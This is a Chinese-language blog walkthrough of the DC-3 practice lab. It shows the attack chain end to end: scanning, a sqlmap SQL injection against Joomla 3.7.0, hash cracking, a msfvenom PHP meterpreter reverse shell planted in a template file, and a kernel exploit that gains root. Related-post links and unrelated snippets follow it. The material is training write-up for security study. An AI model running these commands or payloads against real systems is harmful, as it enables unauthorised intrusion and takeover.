Vulhub-DC-3靶场

前言

今天把DC-3的靶场打了一遍,可以说这个靶场用到的思路是非常经典的,从信息搜集到漏洞利用包括内核提权。最最重要的是为了下载它的提权EXP,我它喵还花了一块二买了个CSDN站的代下载。DC-3靶场只有一个Flag,通过本篇博客,我们可以学到如下几点:

1.内网主机信息探测

2.JoomScan漏洞探测

3.MSF制作PHP马

4.python回显shell

5.Linux内核提权

正文

信息搜集

首先来一波传统艺能arp-scan,得到信息如下,发现存活主机10.0.2.6:

arp-scan -l

结合nmap获得如下信息

nmap -sV -Pn -A -p- -v 10.0.2.6

访问页面后发现是Joomla,所以直接上JoomScan,此工具使用方法较为简单,执行后出现如下信息:

Joomscan -u http://10.0.2.6:80/

SQL注入获取后台密码

因为得到他是Joomla3.7.0的CMS,并且爆出了后台路径和可执行路径。

并且通过查询exploit-db,Joomla3.7.0CMS存在SQL注入,漏洞利用方法如下

sqlmap -u "http://10.0.2.6:80/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

根据SQLMAP,查询到在数据库Joomladb下的#__users表下存在如下账户数据。

这个Password将它保存至文本中,然后使用Jhon去破解。

Jhon破解hash

Jhon的使用教程:https://www.cnblogs.com/HelloCTF/p/13346125.html

Jhon po.txt

得到密码snoopy,通过它我们访问之前扫描到的后台网页成功登录。

后台上传MSF木马

因为我们之前看到可访问的路径有components,templates等,在templates组件下发现可以直接修改编辑文件。

考虑直接上传MSFvenom生成的木马,继而反弹至msfconsole。过程如下:

MSF制作PHP木马

msfvenom -p php/meterpreter/reverse_tcp LHOST=10.0.2.15 LPORT=4444 R>test1.php

为了避免上传之类的麻烦,我直接将内容粘贴至component.php

MSF建立会话

#1.使用Handler模块
msf6 >use exploit/multi/handler
#2.设置payload
msf6> set payload php/meterpreter/reverse_tcp
#3.设置监听IP
msf6> set LHOST 10.0.2.15
#4.设置监听端口
msf6> set LPORT 4444
#开启监听
msf6> run

开启监听后,当我们访问http://10.0.2.6/templates/beez3/component.php,即可得到会话

系统提权

此时进入shell,发现看不到命令提示,使用python进入伪终端。

发现find可以使用,查看是否可以利用的SUID,结果并不理想。可能性比较大的ping也尝试失败。考虑内核提权,进行信息搜集

#查看系统内核
cat /pro/version
#查看分发信息

通过本地数据库进行查询,发现如下可利用的。

又因为gcc可以使用,便尝试使用43418.c,42275.c,均以失败告终。最终通过使用39772.txt中的漏洞利用方法成功。

具体内容可自行查看39772.txt,在此讲述操作流程,首先下载39772.zip至kali本地。

39772.zip:链接:https://pan.baidu.com/s/1UJam_nqqB770JiO5sco2lQ

提取码:92t7

然后通过msf upload 进行上传

meterpreter> upload 39772.zip

上传成功通过伪终端进行解压,并且进行执行,具体命令如下:

unzip 39772.zip
cd 39772
tar -xvf exploit.tar
cd ebpf*
./compile.sh
./doubleput

最终得到root权限,获取flag.

Vulhub-DC-3靶场的更多相关文章

  1. Vulhub-DC-2靶场

    Vulhub-DC-2靶场 前言 最近一直忙于学习代码审计和内网渗透,所以靶场这方面的文章一直未更新,但是计划是更新完DC系列靶场的,这个不会鸽. DC-2的靶场是很简单的一共5个flag. 正文 f ...

  2. Kali-2020 配置Docker

    Kali 2020 安装Docke 为什么在Kali上安装Docker? Kali有很多工具,但是您想运行一个不包含的工具,最干净的方法是通过Docker容器.例如,我正在研究一个名为vulhub的靶 ...

  3. 推荐开源靶场Vulhub

    转:https://github.com/phith0n/vulhub Vulhub - Some Docker-Compose files for vulnerabilities environme ...

  4. 2019-10-24:伪静态,VULHUB搭建靶场,宽字节sql注入,笔记

    伪静态1,需要开启站点的重写机制,需要修改配httpd配置文件,将LoadModule rewrite_module modules/mod_rewrite.so注释取消,需要apache支持解析.h ...

  5. kali中安装漏洞靶场Vulhub(超详细)

    前言 我们都知道,在学习网络安全的过程中,搭建漏洞靶场有着至关重要的作用.复现各种漏洞,能更好的理解漏洞产生的原因,提高自己的学习能力.下面我在kali中演示如何详细安装漏洞靶场Vulhub. 什么是 ...

  6. kali中安装漏洞靶场Vulhub

    一.什么是vulhub? Vulhub是一个基于docker和docker-compose的漏洞环境集合,进入对应目录并执行一条语句即可启动一个全新的漏洞环境,让漏洞复现变得更加简单,让安全研究者更加 ...

  7. 阿里云服务器搭建vulhub靶场

    阿里云服务器搭建vulhub靶场 环境 服务器:阿里云服务器 系统:centos7 应用:vulhub 步骤 vulhub需要依赖docker搭建,首先安装docker. 使用以下方法之一: # cu ...

  8. Vulhub靶场搭建教程

    Vulhub靶机环境搭建 Vulhub地址: Vulhub下载地址 一.所需环境 1.Ubuntu16.04 2.最新版本Docker 二.安装之路 1.下载Ubuntu16.04下载地址(迅雷下载6 ...

  9. Jenkins高危代码执行漏洞检测/开源漏洞靶场

    漏洞细节可以参看安全客的文章:https://bbs.ichunqiu.com/thread-22507-1-1.html Jenkins-CLI 反序列化代码执行(CVE-2017-1000353) ...

  10. 【转】Vulhub - 开源的安全漏洞学习与复现项目

    转载于:https://uk.v2ex.com/t/485611#reply15 Vulhub 是一个面向大众的开源漏洞靶场,无需 docker 知识,简单执行两条命令即可编译.运行一个完整的漏洞靶场 ...

随机推荐

  1. hdu 4686 Arc of Dream 自己推 矩阵快速幂

    A.mat[0][0] = 1, A.mat[0][1] = 1, A.mat[0][2] = 0, A.mat[0][3] = 0, A.mat[0][4] = 0; A.mat[1][0] = 0 ...

  2. HDU 4821 2013长春现场赛hash

    题意: 一个字符串S  问其中有几个子串能满足以下条件: 1.长度为M*L 2.可以被分成M个L长的小串  每个串都不一样 分析: hash方法,一个种子base,打表出nbase[i]表示base的 ...

  3. ACM金牌选手整理的【LeetCode刷题顺序】

    算法和数据结构知识点图 首先,了解算法和数据结构有哪些知识点,在后面的学习中有 大局观,对学习和刷题十分有帮助. 下面是我花了一天时间花的算法和数据结构的知识结构,大家可以看看. 后面是为大家 精心挑 ...

  4. 初探 Redis 客户端 Lettuce:真香!

    一.Lettuce 是啥? 一次技术讨论会上,大家说起 Redis 的 Java 客户端哪家强,我第一时间毫不犹豫地喊出 "Jedis, YES!" "Jedis 可是官 ...

  5. 14 shell 函数

    1.shell函数的定义与调用 2.shell函数参数 3.函数返回值 1.shell函数的定义与调用 Shell 函数定义 说明 函数定义的简化写法 函数调用 function name() {   ...

  6. VLAN间路由

    三种方式 通过路由器 通过单臂路由(子接口) 通过三层设备三层交换机

  7. 小哈学python----一行代码输出特定字符"Love"拼成的心形

    print('\n'.join([''.join([('Love'[(x-y) % len('Love')] if ((x*0.05)**2+(y*0.1)**2-1)**3-(x*0.05)**2* ...

  8. c语言:getchar() getch()回显

    //getch() 不回显函数,当用户按下某个字符时,函数自动读取,无需按回车 //所在头文件:conio.h 从控制台读取一个字符,但不显示在屏幕上 //int getchar() //头文件:#i ...

  9. C语言中函数的返回值

    规则 除局部变量的内存地址不能作为函数的返回值外,其他类型的局部变量都能作为函数的返回值. 我总结出下面这些规则: int.char等数据类型的局部变量可以作为函数返回值. 在函数中声明的指针可以作为 ...

  10. Java多线程(上)

    Java多线程 程序.进程和线程 一.程序 程序是存储在磁盘上, 包含可执行机器指令和数据的静态实体. 即进程或者任务是处于活动状态的计算机程序. 二.进程 进程是资源(CPU.内存等)分配的基本单位 ...